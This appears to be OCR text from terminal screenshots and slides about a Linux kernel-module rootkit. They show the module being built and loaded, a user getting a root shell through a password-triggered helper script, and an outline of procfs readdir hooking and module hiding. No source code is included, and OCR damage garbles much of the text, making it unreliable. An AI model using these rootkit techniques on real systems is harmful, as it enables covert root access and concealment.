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root@localhost: ~/rootkit-master

File Edit View Search Terminal Help

inflating: rootkit-master/polis paper.tex
%x90c's Home inflating: rootkit-master/rt.c

creating: rootkit-master/tools/

== inflating: rootkit-master/tools/rtemd.py

l | [root@localhost ~]# ls
install.log.syslog

computer

Trash

root@localhost ~]# c¢d rootkit-master
[root@localhost rootkit-master]# 1s
Makefile polis paper.tex README.md rt.c
[root@localhost rootkit-master]# make
make -C /lib/modules/2.6.32-431.e16.x86 64/build M=/root/rootkit-master modules
make[1]: Entering directory "/usr/src/kernels/2.6.32-431.el6.x86 64

CC [M] /root/rootkit-master/rt.o

Building modules, stage 2.

MODPOST 1 modules

cC /root/rootkit-master/rt.mod.o

LD [M] /root/rootkit-master/rt.ko.unsigned

NO SIGN [M] /root/rootkit-master/rt.ko
make[1]: Leaving directory "/usr/src/kernels/2.6.32-431.e16.x86 64'
[root@localhost rootkit-master]# 1s
Makefile Module.symvers README.md rt.ko rt.mod.c rt.o
modules.order polis paper.tex rt.c rt.ko.unsigned rt.mod.o
[root@localhost rootkit-master]# I

root@localhe:

To direct input to this VIV, move the mouse pointer inside or press Ctrl+G.
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x90c@localhost:/tmp/tools
File Edit View Search Terminal Help

x90c@localhost tmpls Ls
x90c's Home vgauthsvclog.txt.0

yum. log
\Hizrennd
[x90c@localhost tmpls cd tools
[x98c@localhost tools]s ls

localhost tools]s ./rtcmd.py mypenislong

localhost tools]s id

0(x90c) gid=560(x90c) groups=500(x96c) context=unconfined u:unconfined r:u
nconfined t:s@-s0:c0.cl023
[x98c@localhost tools]$ ls

[x98c@localhost tools]$ vi rtcmd.py
[x98c@localhost tools]s ls

[x96c@localhost tools]$ *°./rtcmd.py mypenislong
localhost tools]$ “"./rtcmd.py mypenislong™ " /bin/bash
localhost tools]# id; whoami
uid=0(root) gid=8(root) groups=0(root),500(x90c) context=unconfined u:uncenfined
r:unconfined t:s@-s0:¢0.c1023

lacalhost tools]# J]

To direct input to this VM, click inside or press Ctrl+G. ) = ¢
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{nl Home Win7UltimateKlastversion WIN XP SP3 RH9 Ubuntu 16.04_Desktop centos6.5x8664bit

Sat Feb 18, 03:04 x90c

root@localhosti~/rootkit-master

File Edit Vview Search Terminal Help
root@localhost rootkit-master]# s

x90¢'s Home Makefile Module.symvers README.md rt.ko rt.mod.c
modules.order polis paper.tex rt.c rt.ko.unsigned rt.mod.o
root@localhost rootkit-master]# insmod rt.ko
[root@localhost rootkit-master]# lsmod | grep rt
scsi transport_spi 25863 1 mptspi
[root@localhost rootkit-master]# |

@ root@localhos

To direct input to this VM, click inside or press Ctrl+G.
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o module hide
o module show
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set_addr_rw

o

set_addr_ro
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o A (ZEA 25 pidZ F71AY L S 7= Y F49 read/writes 53 FEF Ao 39 314)
proc_filldir_new

proc_readdir_new

fs_filldir new

fs_readdir_new

rtkit_read

rtkit_write
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procfs_clean

fs_clean

procfs_init (X242 o] B $15+ F74 & o] §H4ell 4] o] Foi3)
fs_init (5492 sho] P2 91 T4 & o] Fol A o] o] 7))
rootkit_init (lkm &7] 3} §4%)

rootkit_exit lkm E9 4 ¥5)
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procfs_init() 7 AU E 4

o

(1) "rtkit" proc N E 2] WA
(2) proc_root = proc_rtkit->parentE A 4.
(3) proc_root->name®] "/proc"2 x| 7 A}.
roc_rtkit->read_proc = rtkit_read, proc_rtkit->writeproc = rtkit_write. (read/write <
DER e =8 i i
(5) proc_fops = proc_root->proc_fops
(6) proc_readdir_orig = proc_fops->readdir® ¥ <.
(7) set_addr_rw(proc_fops) // o] X] 2~7] A I &
(8) proc_fops->readdir = proc_readdir_new (F57])** F8 **
(10) set_addr_ro(proc_fops) // &17] A& o2 E] £L.
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